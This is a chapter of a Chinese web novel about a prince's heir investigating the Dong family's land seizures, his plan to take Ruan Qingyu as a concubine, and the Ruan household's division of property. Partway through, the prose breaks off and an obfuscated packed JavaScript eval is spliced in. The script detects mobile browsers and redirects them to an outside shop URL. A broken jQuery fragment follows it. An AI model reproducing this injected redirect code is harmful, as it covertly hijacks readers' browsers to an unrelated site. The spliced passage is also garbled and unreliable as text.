董家现今土地之多,怕是比起藩王也不遑多让。
光州鱼米之乡,土地丰沃,而今田税微薄,很重要的原因是董家和像董家这样的人家占了太多土地不交税。
陛下顾及功臣,又要平衡秦阁老,况且,现在东南三道多少将领都是董其航的门生故旧。
董家轻易动不得。但董家却不懂收敛,人命官司闹到京中,甚至惊动了太子殿下,而然转天证人证物却凭空消失了。
这才有他此次南行。
费劲收些商税,终究不是根本,商税的规模太小,不过是解一时之困,若要充实国库,早晚要触及土地的问题。
董家行事狂暴,民愤已起,最好能做儆猴的鸡。
这只鸡杀不杀得,要看陛下圣裁,也要看他这一趟能找到什么。
原也不过是趟公差,但董其航竟然觉得他是好捏的柿子,想在粱牧的身份上解决了他,觉得这样就能给皇室警告,也不算太过犯险,好能保住董家平安富贵。
贺云晟笑了,董家上赶着结仇,贺云晟若是不回礼,可不真成了软柿子了。
董其航不愧是战场上搏命博出的勋爵富贵,现在贵为侯爷,手段还一样简单粗暴,真应该学学他义父秦阁老。朝中那些人精的道理,杀人,要自己出刀,就已经落了下乘。
不过,贺云晟倒觉得董其航的手段还有些血性,没有那些玩弄人心的弯弯绕绕。如果董其航挥刀相向的不是他,他或许还会叹一句,是个汉子。
但他差点成为刀下亡魂。如果不是阮青钰的话。
阮青钰。
他躲在青山寺后山的时候,以为董家多少会有些后续的动作,没想到董家如此沉得住气,几乎一切如常,没有露出什么破绽,让他一时间不知从哪里下手去查。
但是,最近他按照阮青钰说出的那些线索,查出来的东西比他之前被引着转圈时查到的,多了太多。甚至可以说没有什么弯路,直戳命案。
他在脑中过了一遍和阮青钰的相处。
一会儿,点着桌面的手指停了下来。他叫来观局。
“你给我备一份聘礼。”
“聘,聘礼,殿下是要?”
“我要聘一个妾室。聘礼就按照王府的规矩来。”
他说完离开,留观局一人在风中凌乱。现在,怎么看,都不是纳妾的好时机吧?
董侯爷去过州府衙门后,景王世子在光州府的消息就传开了。
大族争相拜见,却没几个能逮到贺云晟。
阮二老爷听得了这个消息,更是了不得了。
他拉上阮大老爷直奔阮老太爷的梧桐居,说景世子都来光州府了,董侯爷这个不怎么理会州府衙门的人今天都去了。这侵地案怕是要上达天听,董家家大业大,不知道会怎么样,但阮家可经不起这么大的案子,万一三老爷牵涉其中被定了罪,势必牵连全家,劝老太爷无论如何,先将三房分出去。
这些天,老太爷头发胡子全都白了,感觉一下子老了数岁。他问大老爷:“你如何想?”
大老爷一向稳重,此刻却吞吞吐吐说不出。他自然想和三房分开,但此刻却不想让老父亲伤心。
老太爷沉默良久,末了,说:“明天请族老,开祠堂。”
二老爷掩不住喜色,大老爷也松了口气。
却听老太爷说:“老三是我儿,他没有犯什么大错,我信他日后能平安回来。但你们担心的,也有道理,如今的形势,将阮家分开,是可以避免万一全家倾没。”
他顿了顿,“你们两房分出去,我就和老三呆在一起了。”
大老爷闻言立刻跪下了,他是长子,若是分家时,二老不和他一起,且不说家产如何分割,光是世人的吐沫星子,就能淹死他。
大老爷表示必要追随老太爷,若是老太爷和三房一起,他也不分家了。
二老爷也跪下了,但终究是心一横,说:“我劝不了爹,但不能任由阮家冒此奇险,爹将我们分出去,将来万一……阮家也有后。”
第二天,开祠堂写了家谱,二房带着丰厚的家资分出去了,从此与阮家老宅彻底是两家了。便是抄家,也抄不到他们。除非是夷三族的罪过。
阮老太爷没有亏待二房,甚至分给他们的比预计还要多不少。
阮青钰想,阮老太爷,也是担心的吧,担心阮家真的栽了,二房也好带着家业传承下去。
从她第一天去阮老太太那里哭,就是为了趁这次机会和阮家分开。
她知道十年后,阮家要被灭门,她不知道是为什么,她离查清真相还有很远。她不想看任何一个阮家人无辜受戮,但她还不想失去林深呢,她想的未必能做到,她没把握能避免相同的命运,但她想,至少要救自己最爱的人。
二房嚷嚷着要将三房分出去,大房就和以往任何一次坐看三房吃亏一样,隔岸观火,后来干脆也起了一样的念头。
畏惧未知的危险,人之常情。阮青钰并不怪他们,但既然他们都害怕被牵连,不愿意赔上家业救人,不愿意甘苦与共,那就分开好了。
她受够了二房的欺压,看淡了大房的冷漠,既没有亲情,何必做一家人。
趁此机会分开,今后谁也别沾着谁,好的坏的,自己担着。
阮青钰不确定自己已经做的事情,能起多大作用。但她有底牌,如果事态不受控制,大不了,最后用对贺云晟的救命之恩换三老爷平安。他们三房,应该不会出大问题。
本来她以为老太爷能把三房分出去,落得干净。
她意料之外的是,老太爷竟然把二房分出去了。
也许是亲情使然,老太爷这时候没有把三房抛下,阮青钰本该领这个情。
她却总会往阴暗的方向猜测。
或许老太爷只是觉得三房的事情,还不至于就一下子严重到抄家,此时把三房扔出去,便是保下阮家,也会落人话柄,做生意也是要讲信誉的,以后很多人会不敢和阮家深交。
先把二房分出去,留下三房,一则避险的同时又显得阮家有情义,二则,将来若事态不好,就再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771503|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把三房分出去,有二房分家的先例在前,也不太显得是针对三房,多少可以转圜阮家的口碑。
如果真是这样,倒算得上可进可退,阮青钰觉得,自己又从老太爷那里学到了一招。
观局办事得力,很快筹办好了聘礼。向贺云晟汇报之时,却有些犹豫。
“怎么了,什么时候学会吞吞吐吐了。”
“回禀殿下,聘礼已经齐备,只是,只是这位阮姑娘,她家里有些事情。”
观局在得知世子要纳的妾是阮家的姑娘时,才想起来,那晚拿着世子贴身的玉佩来找世子的,可不就是阮家园子里见过的那一位。
他不禁感慨,招数老套不要紧,管用就行,去年春天那一眼,可不就是惦记到现在。他家殿下,也是难过美人关啊。
观局在州府衙门走动得多,各处消息灵通,阮三老爷被收入光州狱时,文书在府衙交接。
彼时观局正在场,也就听了一耳朵。
聘礼筹备到一半,他忽然想起这件事情,阮不是常见的姓氏,还都是春晚城的,那个阮主簿和世子要纳的阮姑娘,会不会有亲戚?
他怀有这样的疑问去核实了一遍,结果,何止有亲戚,被收押入狱的阮主簿就是阮姑娘的亲爹啊。
在观局的内心,十分不乐意世子现在纳这样一名妾室。
大事当前,世子不应当分心。若日后被有心人参一本以权谋私,公差期间私纳妾室,实在有损世子清名。
他自小服侍世子长大,最知道世子的脾性。他家殿下看似阔达不羁,随心而动,实则最能看清大局、分得轻重,不然也不会被圣上派这么重要的差事。
以世子往常的做派,这个当口,不可能想着纳妾的事情。
也不知那阮姑娘,给世子灌了什么迷魂汤。阮家不过普通商贾,便是为妾,他也觉得是高攀了。
阮家的事情,或许能打消世子纳妾的主意。他势必要说上一说。
“什么事儿?”
观局跪下,“殿下,阮姑娘的父亲阮家三老爷现在光州狱中,据说是渎职,还涉嫌参与董家的侵地案。”
贺云晟在心里纳闷,阮青钰她爹参与董家侵地案?而她给我提供线索查董家。
这是怎么着,大义灭亲吗?
他叫观局去请张大人,问了阮三老爷的事情。
正如阮青钰预料,阮三老爷这点事情和她提供的线索相比,压根不够看。
州府衙门将三老爷收监后,将卷宗报与张检。
贺云晟按照阮青钰那些线索在查的事情,张大人都在辅助,他知道事情有进展。收到三老爷的卷宗后,他看了一遍就知道大概怎么回事儿,阮三老爷这事儿不算大,此时被捅出来,说不定是有人挟私报复,就算查下去,怕是对他们的大事价值不大。
贺云晟那边忙得腾不出手,他也就暂且没有知会贺云晟这件事,将此事暂时搁置了。
今天贺云晟忽然叫他过去问,他意识到自己或是判断失误,这个阮主簿难道真的干系重大?